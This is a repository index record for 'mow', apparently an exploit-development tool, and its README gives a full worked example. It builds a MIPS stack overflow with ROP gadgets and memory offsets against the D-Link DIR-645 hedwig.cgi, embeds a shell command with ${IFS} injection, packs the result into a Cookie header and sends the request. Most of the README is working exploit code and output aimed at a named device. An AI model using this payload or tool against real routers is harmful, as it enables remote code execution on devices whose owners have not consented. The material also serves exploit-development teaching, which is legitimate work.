{"id":20238645,"url":"https://github.com/grayhatacademy/mow","last_synced_at":"2025-10-17T10:58:32.939Z","repository":{"id":74090576,"uuid":"179752291","full_name":"grayhatacademy/mow","owner":"grayhatacademy","description":"Mips Overflow Writer - Quickly write MIPS big/little overflows.","archived":false,"fork":false,"pushed_at":"2020-01-03T15:28:02.000Z","size":23,"stargazers_count":10,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-24T17:13:42.042Z","etag":null,"topics":["exploit-development","mips","mips-exploitation","mips-overflow-writer","overflows"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/grayhatacademy.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2019-04-05T20:44:29.000Z","updated_at":"2023-09-23T06:51:57.000Z","dependencies_parsed_at":"2023-08-08T03:01:06.178Z","dependency_job_id":"b79493af-9bfe-47ee-bc64-34aca34b6ac0","html_url":"https://github.com/grayhatacademy/mow","commit_stats":null,"previous_names":["grayhatacademy/mow"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/grayhatacademy%2Fmow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/grayhatacademy%2Fmow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/grayhatacademy%2Fmow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/grayhatacademy%2Fmow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/grayhatacademy","download_url":"https://codeload.github.com/grayhatacademy/mow/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248281423,"owners_count":21077423,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit-development","mips","mips-exploitation","mips-overflow-writer","overflows"],"created_at":"2024-11-14T08:35:13.150Z","updated_at":"2025-10-17T10:58:27.894Z","avatar_url":"https://github.com/grayhatacademy.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# mow\n[![Build Status](https://travis-ci.org/fuzzywalls/mow.svg?branch=master)](https://travis-ci.org/fuzzywalls/mow)\n\nMips Overflow Writer - Quickly write MIPS big/little endian overflows. Requires \nPython 3.5+.\n\n## Example\nThis is a quick example showing how to generate an overflow for the D-Link \nDIR-645 against hedwig.cgi. The high level overview is listed on \n[this](https://www.exploit-db.com/exploits/27283) site.\n\nA ROP gadget was built using static analysis of libuClibc.so.1 and its shown below. \nExplaining the gadget is kinda beyond the scope of the readme, but there it is.\n\n```----------------------------------------------------------------\n| Gadget Name | Gadget Offset | Gadget Summary                  |\n-----------------------------------------------------------------\n| rop1        | 0x00057D60    | addiu   $s0, 8                  |\n|             |               | sll     $a0, 3                  |\n|             |               | addu    $a0, $s2, $a0           |\n|             |               | move    $a1, $s0                |\n|             |               | move    $t9, $s1                |\n|             |               | jalr    $t9                     |\n|             |               | li      $a2, 8                  |\n-----------------------------------------------------------------\n| rop2        | 0x00015B6C    | addiu   $s2, $sp, 0x2A8+var_290 |\n|             |               | move    $a2, $v1                |\n|             |               | move    $t9, $s0                |\n|             |               | jalr    $t9                     |\n|             |               | move    $a0, $s2                |\n-----------------------------------------------------------------\n```\n\nOther value of importance found through analysis are:\n\n- Base of libuClibc loaded in memory: 0x2aaf8000\n\n- Offset of overflow buffer: 0x428\n\n- Offset to System in libuClibc: 0x53200 (ending 0x00 is the reason for the first gadget, cant send that across.)\n\n- Registers used in function: s0 through s7, including fp. (9 registers)\n\n### Generating the Overflow\n```bash\n\u003e\u003e\u003e import mow\n\u003e\u003e\u003e overflow = mow.Overflow(0x428, 9, mow.LITTLE_ENDIAN, 0, 0x2aaf8000, '/runtime/session/')\n\u003e\u003e\u003e overflow.s0 = 0x531f8\n\u003e\u003e\u003e overflow.s1 = 0x15b6c\n\u003e\u003e\u003e overflow.ra = 0x57d60\n\u003e\u003e\u003e overflow.add_to_stack(0x18, command='touch${IFS}/tmp/filename\u0026')\n\u003e\u003e\u003e of_string = overflow.generate()\n********************\nOverflow Generation\n********************\nBytes to first register: 0x03ef(1007) accounting for 17 bytes in the string: /runtime/session/\ns0 = 0xf8b1b42a (0x2aaf8000 + 0x531f8)\ns1 = 0x6cdbb02a (0x2aaf8000 + 0x15b6c)\ns2 = 0x43434343\ns3 = 0x44444444\ns4 = 0x45454545\ns5 = 0x46464646\ns6 = 0x47474747\ns7 = 0x48484848\nfp = 0x49494949\nra = 0x60fdb42a (0x2aaf8000 + 0x57d60)\nstack = b'XXXXXXXXXXXXXXXXXXXXXXXXtouch${IFS}/tmp/filename\u0026'\n********************\n```\n\n### Creating the Packet \n\n```bash\n\u003e\u003e\u003e request = mow.CustomRequest('127.0.0.1', 80, mow.POST, 'hedwig.cgi', {'Cookie': b'uid=%s' % of_string}, 'doesntmatter')\n\u003e\u003e\u003e packet = request.create_packet()\n********************\nPacket Generation\n********************\nPOST /hedwig.cgi HTTP/1.1\nHost: 127.0.0.1:80\nCookie: uid=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX*l۰*CCCCDDDDEEEEFFFFGGGGHHHHIIII`*XXXXXXXXXXXXXXXXXXXXXXXXtouch${IFS}/tmp/filename\u0026\nContent-Length: 12\n\ndoesntmatter\n********************\n```\n\n### Sending the Packet\n\n```bash\nmow.send_packet('127.0.0.1', 80, packet)\n```\n\n### Future Work\nThis is a work in progress that I will be adding new features and enhancements\nas they come up. Feel free to make feature requests and I will consider \nimplementing them.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgrayhatacademy%2Fmow","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgrayhatacademy%2Fmow","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgrayhatacademy%2Fmow/lists"}